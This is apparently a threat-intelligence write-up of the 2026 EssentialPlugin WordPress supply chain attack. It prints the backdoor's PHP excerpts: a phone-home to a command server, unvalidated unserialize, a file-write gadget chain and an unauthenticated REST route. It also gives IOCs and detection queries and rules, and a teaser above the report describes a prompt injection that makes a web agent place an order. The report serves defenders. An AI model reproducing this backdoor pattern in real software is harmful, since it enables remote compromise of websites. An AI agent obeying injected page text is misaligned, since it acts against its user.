EssentialPlugin Supply Chain Attack — 31 WordPress Plugins Weaponized After 8 Months of Dormancy

Search for a command to run...

No comments yet. Be the first to comment.
Tổng Quan Một chiến dịch tấn công bằng dòng mã độc tống tiền mới mang tên Spirals đã ghi nhận vụ việc đầu tiên mã hóa thành công toàn bộ hệ thống của một công ty dịch vụ IT tại Nam Á chỉ trong vòng ch

Tóm tắt rủi ro Bạn bảo một web agent: "tóm tắt giúp tôi các review trên trang này". Một review giả do kẻ tấn công đăng lên khiến agent bấm nhầm nút "Buy Now", và đơn hàng được đặt. Không malware, khôn

Campaign Summary A Russian-speaking criminal group tracked by Cisco Talos as UAT-11795 has been running a continuous campaign since at least June 2025, distributing malware inside trojanized installer

Tóm tắt chiến dịch Nhóm tội phạm nói tiếng Nga được Cisco Talos theo dõi dưới định danh UAT-11795 đã hoạt động liên tục từ ít nhất tháng 06/2025, phát tán mã độc thông qua các bộ cài đặt phần mềm hợp

Tóm Tắt Chiến Dịch Vào ngày 14/07/2026, kẻ tấn công đã xâm nhập thành công tổ chức AsyncAPI trên npm — một trong những dự án mã nguồn mở phổ biến nhất cho các API event-driven, và tiêm mã độc vào 4 gó

In April 2026, more than 31 WordPress plugins from the EssentialPlugin portfolio (formerly WP Online Support) were permanently closed on WordPress.org after a PHP backdoor — planted in August 2025 — was activated and began distributing malicious code to every website running the affected plugins. Estimated exposure: over 400,000 plugin installations, with active installs at the time of discovery exceeding 20,000 sites.
This was not a technical vulnerability exploit. The attacker purchased a legitimate plugin portfolio through the Flippa marketplace, inherited WordPress.org SVN commit access, and planted the backdoor in their very first code commit. The backdoor sat dormant for eight months before activating to inject hidden SEO spam into wp-config.php — visible only to Googlebot, invisible to site owners.
Priority action: Immediately audit all WordPress installations in your environment for the 31 affected plugin slugs listed in the IOC section. If found, remove them entirely (not just deactivate) and manually inspect wp-config.php for injected content.
| Date | Event |
|---|---|
| 2015 | WP Online Support founded; builds 31+ WordPress plugins over 8 years |
| Late 2024 | Revenue declines 35–45%; founder Minesh Shah lists entire portfolio on Flippa |
| Early 2025 | "Kris" — background in SEO, crypto, online gambling marketing — purchases portfolio for six figures |
| May 12, 2025 | New essentialplugin account created on WordPress.org with SVN commit access to all 31 plugins |
| Aug 8, 2025 | First commit from new account: version 2.6.7, changelog reads "Check compatibility with WordPress version 6.8.2" — actually plants 191 lines of backdoor code in wpos-analytics module |
| Aug 2025 – Apr 4, 2026 | Backdoor lies dormant. analytics.essentialplugin.com returns normal responses |
| Apr 5–6, 2026 | Backdoor activates. C2 server begins serving malicious serialized payloads. Injection window: 6 hours 44 minutes (04:22–11:06 UTC, April 6) |
| Apr 7, 2026 | WordPress.org Plugins Team confirms attack; permanently closes all 31 plugins in a single day |
| Apr 8, 2026 | WordPress.org force-updates all sites to v2.6.9.1 — disables phone-home module but does NOT clean injected code from wp-config.php |
| Apr 14–15, 2026 | Wide coverage: TechCrunch, Patchstack, BleepingComputer |
| Apr 20, 2026 | analytics.essentialplugin.com returns {"message":"closed"} |
[Reconnaissance & Acquisition]
└─ Purchased legitimate plugin portfolio via Flippa (~$100K+)
└─ Inherited WordPress.org SVN commit access
│
▼
[Weaponization - T1195.002]
└─ Embedded PHP deserialization backdoor in legitimate analytics module
└─ Disguised as routine compatibility update in changelog
└─ 191 lines of malicious code hidden in single commit
│
▼
[Distribution via Trusted Channel - T1072]
└─ WordPress.org distributes update to all plugin users
└─ Auto-update enabled sites receive backdoor with no user interaction
│
▼
[Dormancy Phase - 8 months]
└─ C2 server returns benign responses
└─ Trust built through 8 months of inactivity
│
▼
[Activation - T1059.004]
└─ analytics.essentialplugin.com begins serving malicious serialized PHP objects
└─ Plugin executes unserialize() → PHP Object Injection
└─ Gadget chain converts write() to file_put_contents()
│
▼
[Persistence & Payload Deployment - T1505.003]
└─ Drops: wp-comments-posts.php (mimicking core file wp-comments-post.php)
└─ Injects large PHP block into wp-config.php
└─ Registers unauthenticated REST API endpoint
│
▼
[C2 & Evasion - T1568.002]
└─ C2 domain resolution via Ethereum smart contract
└─ Payload served only to Googlebot (User-Agent filtering)
└─ Site owners see nothing abnormal when browsing their own site
│
▼
[Impact - T1491.002, T1496]
└─ SEO spam injection: spam links, redirects, fake pages
└─ Future potential: any payload deliverable via C2 mechanism
The fundamental distinction between this campaign and conventional plugin attacks: no vulnerability was exploited. The attacker purchased legitimate access. WordPress.org had no mechanism to:
The backdoor was embedded in class Wpos_Anylc_Admin within the wpos-analytics module:
class Wpos_Anylc_Admin {
public $analytics_endpoint = 'https://analytics.essentialplugin.com';
public $status = 'unchecked';
public $write = 'update_option'; // Appears legitimate — placeholder for override
public $version_cache = 'version'; // Appears legitimate — placeholder for override
public $changelog = null;
public $release_date = null;
The fetch_ver_info() function performs the phone-home:
// Phone home to C2 server
\(response = file_get_contents(\)this->analytics_endpoint . '/version-check');
// Unserialize without validation
\(obj = unserialize(\)response);
When the C2 server returns a malicious serialized object, all class properties are overridden:
$write → file_put_contents$version_cache → target file path$changelog → malicious content to write
The version_info_clean() function then executes:public function version_info_clean() {
if (\(this->status === 'valid' && \)this->changelog && !$this->isOutdated()) {
\(clean = \)this->write; // Now overridden to file_put_contents
@\(clean(\)this->version_cache, $this->changelog); // Arbitrary file write
}
}
Result: the attacker achieves arbitrary file write on the server filesystem.
In parallel with the gadget chain, the backdoor registers a REST API endpoint with no permission checks:
register_rest_route('wpos/v1', '/fetch', array(
'methods' => 'GET',
'callback' => array($this, 'fetch_ver_info'),
// permission_callback not defined or returns true
));
This endpoint allows the attacker to trigger the C2 fetch at any time without authentication.
When the C2 server activates the payload, the execution chain proceeds:
wp-comments-posts.php to the webroot — filename designed to mimic core file wp-comments-post.phpwp-config.phpWordPress.org's forced update adds a return; statement at the beginning of the phone-home function — disabling the module but NOT:
wp-config.phpwp-comments-posts.php filewp-config.php even after the forced update.# C2 Server
analytics.essentialplugin.com
# REST API Endpoint Pattern (on affected sites)
/wp-json/wpos/v1/fetch
# Fake core file (check webroot)
wp-comments-posts.php (legitimate: wp-comments-post.php — no 's')
# Files requiring manual inspection
wp-config.php (look for injected PHP near require_once wp-settings.php)
accordion-and-accordion-slider
album-and-image-gallery-plus-lightbox
combo-blocks
countdown-timer-ultimate
easy-accordion-free
hero-banner-ultimate
image-slider-widget
logo-slider
masterslider
portfolio-and-projects
popup-anything-on-click
popup-maker-wp
post-grid-and-filter-ultimate
post-grid-king
post-slider-and-carousel-with-lightbox
responsive-filterable-portfolio
shortcode-and-widgets
slider-responsive-slideshow
smart-scroll-post-nav
smooth-menu
social-proof-testimonials-slider
team-showcase
ticker-news-slider-widget
timeline-and-history-content-slider
woo-product-slider
wp-carousel-free
wp-logo-showcase-responsive-slider-and-carousel
wp-responsive-recent-post-slider
wpos-shortcodes
wpos-slider-pro
# Versions containing backdoor (all commits after Aug 8, 2025)
All versions from 2.6.7 up to (not including) 2.6.9.1
Malicious commit message: "Check compatibility with WordPress version 6.8.2"
| Tactic | Technique | ID | Details |
|---|---|---|---|
| Initial Access | Supply Chain Compromise: Software Supply Chain | T1195.002 | Purchased plugin portfolio; planted backdoor via legitimate update channel |
| Execution | Server Software Component: Web Shell | T1505.003 | Dropped wp-comments-posts.php for persistent execution capability |
| Execution | Command and Scripting Interpreter: Unix Shell | T1059.004 | PHP deserialization gadget chain enabling arbitrary code execution |
| Persistence | Server Software Component: Web Shell | T1505.003 | Code injected into wp-config.php executes on every request |
| Defense Evasion | Obfuscated Files or Information | T1027 | Backdoor disguised as legitimate analytics module |
| Defense Evasion | Dynamic Resolution | T1568.002 | C2 resolution via Ethereum smart contract |
| Defense Evasion | Masquerading | T1036 | wp-comments-posts.php mimics WordPress core file |
| Command and Control | Ingress Tool Transfer | T1105 | Payload download from analytics.essentialplugin.com |
| Impact | Defacement: External Defacement | T1491.002 | SEO spam injection into website content |
| Discovery | File and Directory Discovery | T1083 | Webroot scanning to locate WordPress installation paths |
# Search for fake core file
find /var/www/ -name "wp-comments-posts.php" 2>/dev/null
# Check for abnormally large wp-config.php (>6KB is suspicious)
find /var/www/ -name "wp-config.php" -size +6k 2>/dev/null
# Grep for injection patterns in wp-config.php
grep -r "analytics.essentialplugin.com\|wp-comments-posts\|essentialplugin" \
/var/www/ --include="*.php" 2>/dev/null
# Detect requests to backdoor REST endpoint
grep "wpos/v1/fetch" /var/log/nginx/access.log
grep "wpos/v1/fetch" /var/log/apache2/access.log
# Detect outbound requests to C2 (if outbound logging enabled)
grep "analytics.essentialplugin.com" /var/log/ -r
// Detect suspicious file creation in WordPress directory
DeviceFileEvents
| where Timestamp > ago(30d)
| where FolderPath contains "wp-" and FileName == "wp-comments-posts.php"
| project Timestamp, DeviceName, FolderPath, FileName, InitiatingProcessName
// Detect unexpected modification of wp-config.php
DeviceFileEvents
| where Timestamp > ago(30d)
| where FileName == "wp-config.php"
| where ActionType in ("FileModified", "FileCreated")
| where InitiatingProcessName !in ("rsync", "cp", "git")
| project Timestamp, DeviceName, FolderPath, InitiatingProcessName, InitiatingProcessCommandLine
// Detect DNS resolution to C2
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl contains "analytics.essentialplugin.com"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, InitiatingProcessName
title: EssentialPlugin Backdoor REST API Activation
id: e4a1b2c3-d5f6-7890-abcd-ef1234567890
status: experimental
description: Detects access to EssentialPlugin backdoor REST API endpoint
logsource:
category: webserver
detection:
selection:
c-uri|contains: '/wp-json/wpos/v1/fetch'
condition: selection
falsepositives:
- None expected — endpoint only exists in backdoored versions
level: high
tags:
- attack.initial_access
- attack.t1195.002
This campaign sits in the upper tier of WordPress-targeted attacks. The attacker demonstrated understanding of both business operations and technical implementation: they knew WordPress.org does not review ownership transfers, understood that the analytics module is the least-audited component of a plugin, calculated that eight months of dormancy would outlast most security monitoring cycles, and — notably — used Ethereum smart contract resolution for C2, a technique that only organizations with robust network monitoring can reliably detect.
The ultimate objective was SEO spam rather than ransomware or credential theft. This aligns with "Kris"'s stated background in SEO and online gambling marketing, and is consistent with monetization through SEO poisoning and affiliate schemes. The potential for payload escalation remains real: the C2 mechanism can deliver any arbitrary payload to still-compromised sites.
In the same week, Smart Slider 3 Pro (800,000+ installs) was compromised via a separate vector — attackers breached Nextend's update infrastructure and pushed malicious version 3.5.1.35. Two weeks earlier, Widget Logic was compromised following the same M&A acquisition pattern used against EssentialPlugin. This is not coincidence. Buying plugin businesses through public marketplaces as a supply chain attack vector is becoming systematic.
The 2017 precedent is instructive: a buyer using the alias "Daley Tias" purchased the Display Widgets plugin (200,000 installs) for $15,000 and injected payday loan spam. That same buyer went on to compromise at least nine additional plugins. The EssentialPlugin case follows the same playbook at a different scale. The attack surface is the plugin marketplace itself, and it remains structurally undefended.
WordPress.org has no mechanism to notify users of ownership changes, no mandatory code review triggered by new committers, and no code signing requirement for updates. The forced update to v2.6.9.1 added return; statements to disable the phone-home — characterizing this accurately: it is a band-aid. The wpos-analytics module remains in the codebase with its complete logic intact; only the activation path is blocked. Sites compromised before April 8 require manual remediation regardless of the forced update.
This structural gap has been known for years. What changed is that attackers have now demonstrated they will execute against it methodically and at scale.
Audit all WordPress installations in your environment:
# Scan for affected plugin slugs using WP-CLI
wp plugin list --format=csv 2>/dev/null | grep -iE \
"countdown-timer-ultimate|popup-anything|popup-maker-wp|\
post-grid-and-filter-ultimate|logo-slider|hero-banner|\
woo-product-slider|wp-carousel-free|accordion-and-accordion-slider"
# Check for fake core file
find /var/www/ -name "wp-comments-posts.php" 2>/dev/null
# Check for injection in wp-config.php
grep -c "essentialplugin\|analytics\.essentialplugin" /path/to/wp-config.php
If an affected plugin is found:
wp-config.php — if the file exceeds ~6KB beyond baseline or contains unfamiliar PHP, restore from a backup predating April 5, 2026wp-comments-posts.php if present in webroot/wp-json/wpos/v1/fetch access patternswp-config.php and webroot (Wordfence, iThemes Security, OSSEC, or equivalent)file_get_contents() + unserialize() without input validation